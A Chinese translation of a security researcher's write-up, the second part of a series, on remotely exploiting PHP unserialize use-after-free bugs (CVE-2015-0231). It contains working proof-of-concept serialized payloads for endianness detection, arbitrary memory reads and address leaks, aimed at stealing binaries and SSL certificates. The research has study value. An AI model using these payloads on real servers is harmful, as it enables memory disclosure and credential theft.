PHP中的記憶體破壞漏洞利用(CVE-2014-8142和CVE-2015-0231)(連載之第二篇)

wyzsk發表於2020-08-19
作者: Chuck · 2015/02/28 10:41

0x00 前言


作者:Cigital公司的安全顧問Qsl1pknotp(Tim Michaud)

題目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 2:Remote Exploitation

地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in_23.html

上一部分中,我們找到了本地利用CVE-2014-8142和CVE-2015-0231的方法。在第二部分中,我們將進一步探討漏洞的遠端利用,並明確透過我們的方法到底能竊取到什麼有用資訊。本部分的研究是隻針對CVE-2015-0231的,至於CVE-2014-8142的遠端利用,其實讀者完全可以根據第一部分中的概述,自己做一些修改來完成。

0x01 PHP中 “序列化”特性應用


上一部分中我們講到,Esser給出的程式碼可以洩露一個攻擊者不可控的地址的資料。程式碼如下:

#!php
<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>

source: StefanEsser_Original_LocalMemLeak.php

雖然上述程式碼是有用的,但是它沒有達到我們期待的效果!我們想要的是遠端洩露任意記憶體地址的資料,而不是基本上沒什麼作用的隨機地址資料。為了做到這一點,我們需要找到一種方法來完成以下兩個目標:

寫任意資料(確保PHP不崩潰)

讀任意資料(確保PHP不崩潰)

跟生活中的其他事情一樣,一次只解決一個問題往往要容易一些。因此,我們首先從完成目標1開始做起。其實我們是可以做到寫任何我們所需的資料的,因為傳送的是自己的object物件。然而,我們需要的是找到方法來寫有用的資訊,如下是我們上一回中講到的最後一個例子:

#!php
<?php

$fakezval = pack(
    'IIII',     //unsigned int
    0x08048000, //address to leak
    0x0000000f, //length of string
    0x00000000, //refcount
    0x00000006  //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);

for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
    $v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>

source:PHPLeak

這裡我們把關注重點放在$fakezval變數上。有沒有辦法可以在序列化物件中遠端寫該zval?(提示:這是php的一個“特性” :D!) (順便提醒下,千萬不要像我一樣的愚蠢而懶惰,一定要仔細地去讀所有的程式碼。在找到這部分如此明顯的程式碼之前,我就浪費了5、6個小時的時間。)

幸好,PHP中字串有一個“序列化”特性。序列化字串中的該特性允許我們序列化和反序列化二進位制資料。讓我們動手操作一個S物件,對序列化原理加深理解,並進一步學會如何利用該特性!

#!php
<?php
 
$data='a:1:{i:0;S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";}';
 
var_dump(serialize($data));
 
?>

source: SendBinaryData

接下來執行上述程式碼,我們可以看到一個奇怪結果:

enter image description here

其實這也沒什麼奇怪的,我們明顯是程式中寫錯了些什麼。為免大家捂臉悲嘆,本人直接提示了,這個錯誤肯定跟我們的S物件有關,你可以一個一個地數下$data的位元組數!是的,我也知道PHP的錯誤提示已經爛到了什麼都不提示的地步了……

在正常化的序列化字串中,例如s:3:”123”,整數3代表字串包含的字元數。而在上面的程式碼中,我們用的S:43:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC"中也有一個整數(43),應該同樣表示字串的長度,對嗎?

其實並非如此。我們這裡想要的不是一個文字字串,而是可以使PHP直譯器按二進位制資料來解析的二進位制字串,而這裡的字串也並非43個位元組,而是17個位元組。那麼將43改為17試一下。

enter image description here

這下好了!那麼為什麼要用17呢?每一個\xx會被當做一個字元,這樣我們的字串中就有13個字元了,而“AAAA”會被當做正常的字元來解析,因此長度需要再加4。簡言之,每一個\xx“三元組”被當做是一個字元。Ok,現在我們可以傳送該字串,但是我們該如何從直譯器中獲取想要資訊呢?

在可以洩露任意地址之前,讓我們一起再多學習下伺服器本身,這會有助於我們寫出更加可靠的利用程式(第三部分中詳述)。作為練手,我們學習下如何確定伺服器的位元組順序,這將需要使用一個偽裝的整型zval結構。 想法還是一樣的:

  • 建立一個整型陣列
  • 釋放掉剛建立的整型陣列
  • 建立我們之前例子中的字串
  • 指向我們之前釋放掉的整型陣列的引用地址

為什麼要使用整型zval而不是一個string?我們回想一下zval資料結構,整型看起來將如下所示:

  • 我們來設定下整型的值

    00 01 00 00 小尾方式下表示0x100 大尾方式下表示0x1000

  • 將接下來的8個位元組使用0x41填充

    41 41 41 41(或AAAA)

  • 接下來的8個位元組是引用計數

    00 01 01 00

  • 最後的8個位元組是01(代表整型型別),然後我們將剩下的位元組填充為垃圾數

    01 00 bc cc

把上述的放在一起,就得到了“S”的值!那麼如何透過上述的結構確定伺服器的位元組順序呢?在伺服器的響應中,如果返回0x100(256),就可以確定是小尾方式!如果返回的是65536,那麼就是大尾方式!確定位元組順序的完整php程式碼如下:

#!php
<?php
 
$data='O:8:"stdClass":4:{';
$data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
$data.='s:3:"123";i:0;';
$data.='i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\0B\BC\CC";';
$data.='i:1;r:12;}';
 
var_dump(serialize(unserialize($data)));
 
?>

source: determineEndianness

程式響應如下:

enter image description here

很好!現在我們已經能夠確定伺服器的位元組順序了!當然,我們真正想要的仍然是洩露任意資料。讓我們接著往下走,既然已經能夠洩露出我們所提供的資料了,那麼是不是有可能洩露出任意地址的資料呢?

0x02 任意地址資料洩露


本篇文章並未就此結束,因而我們的答案當然是肯定的!不過,這次我們需要的不再是整型的zval結構,而是字串型zval資料結構,結構如下:

  • 設定指向字串資料的指標

    00 80 04 08

  • 設定我們想要獲得的字串長度(1024)

    00 04 00 00

  • 設定引用計數為非零

    00 01 01 00

  • 最後,設定資料型別為string型(06),其餘位元組設為垃圾數

    06 00 0b bc

我們的新指令碼如下所示:

#!php
<?php
 
$data='O:8:"stdClass":4:{';
$data.='s:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';
$data.='s:3:"123";i:0;';
$data.='i:0;S:16:"\00\80\04\08\00\04\00\00\00\01\01\00\06\00\0B\BC";';
$data.='i:1;r:12;}';
 
var_dump(serialize(unserialize($data)));
 
?>

source: leakDataAtAddress

執行後的結果如下:

enter image description here

好極了!我們現在已經可以dump出任意地址的資料了,當然也要知道地址才行,而這是不實際的。那麼我們如何遠端來提取地址呢?當然我們可以使用上一回中給出的程式碼來洩露地址,但是洩露出來的地址並未指向重要資料。有沒有別的機制可以用來提取地址資訊呢?

0x03 地址資訊遠端提取


值得慶幸的是,確實有辦法來提取地址資訊!看下面的程式碼:

#!php
<?php
 
$data='O:8:"stdClass":6:{';
$data.='s:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
$data.='s:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}';
$data.='s:3:"456";i:1;';
$data.='s:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}';
$data.='s:3:"789";i:0;';
$data.='i:1;r:56;}';
$data=serialize(unserialize($data));
 
var_dump($data);
?>

source: leakLegitimateAddress

執行後如下所示:

enter image description here

這是個相當大的陣列,需要分解來看。總體思路如下:

  • 建立整型陣列#1 將會清空記憶體快取

  • 建立整型陣列#2 填入變數表

  • 釋放掉陣列#2 釋放掉變數表中的每個節點

  • 建立一個混合了S物件的物件陣列

  • 釋放掉物件陣列 見下面的解釋

  • 指向已經釋放掉並且又被覆蓋了的陣列#2中的一個整型值

  • 伺服器的響應中包將含有價值的資料

釋放掉物件陣列後,陣列中的前四個位元組就會被記憶體快取重寫(因此該記憶體重新變為可寫)。在這樣做時,字串指標(之前是0x41414141)現在就指向了之前被釋放的記憶體物件。得到的地址太多,這裡不一一列舉了,但不管如何,我們得到了合法的記憶體地址! 但是我們需要的是哪個地址呢?我們要找的是顯示有 “\x00\x00\x00\x00\x05\x00”的地址。這樣的地址是一個物件控制程式碼(資料段中的一個資料結構)地址。現在,我們可以讀取整個物件控制程式碼表,並獲取PHP程式碼段中的資訊(而這也正是我們感興趣的地方,因為我們下一回想要做的就是彈出一個shell)

下面是檢視PHP返回的16進位制資料的命令:

#!bash
cphp newLeak.php | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'

執行命令,我們用grep查詢“\x00\x00\x00\x00\x05\x00”,得到如下地址:

enter image description here

如果在GDB中載入執行,我們也可以看到這個地址實際上是指向我們物件控制程式碼的一個指標。提醒:執行前別忘記下斷點(我是在var_unserializer.c:337中設了一個)。

enter image description here

我們看到的如下所示:

enter image description here

在慶祝之前,讓我們先確認下這些控制程式碼指向的確實是有用的東西,就看第一個入口點吧:0x0830a640。下面是該地址儲存的資料:

enter image description here

好極了!我們現在已經可以看到任何我們想要的資料了!

0x04 可竊取資訊


總結一下,透過結合上述的這些方法,我們就可以獲取到: 完整的PHP二進位制可執行檔案本身(包括其資料) SSL Certs(透過mod_ssl) PHP符號表 別的模組的地址(及其資料)

0x05 下一步研究


第三部分中,我們將探討如何彈出一個Shell!該技術也可用於CVE-2015-0273,以及其他的PHP UAF漏洞利用中。

PS:第三部分的釋出需要一點時間,因為要完成進一步的利用還需要對PHP做深入的研究(包括閱讀一些資料),但是本人保證一定完成,絕不太監,敬請繼續關注。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章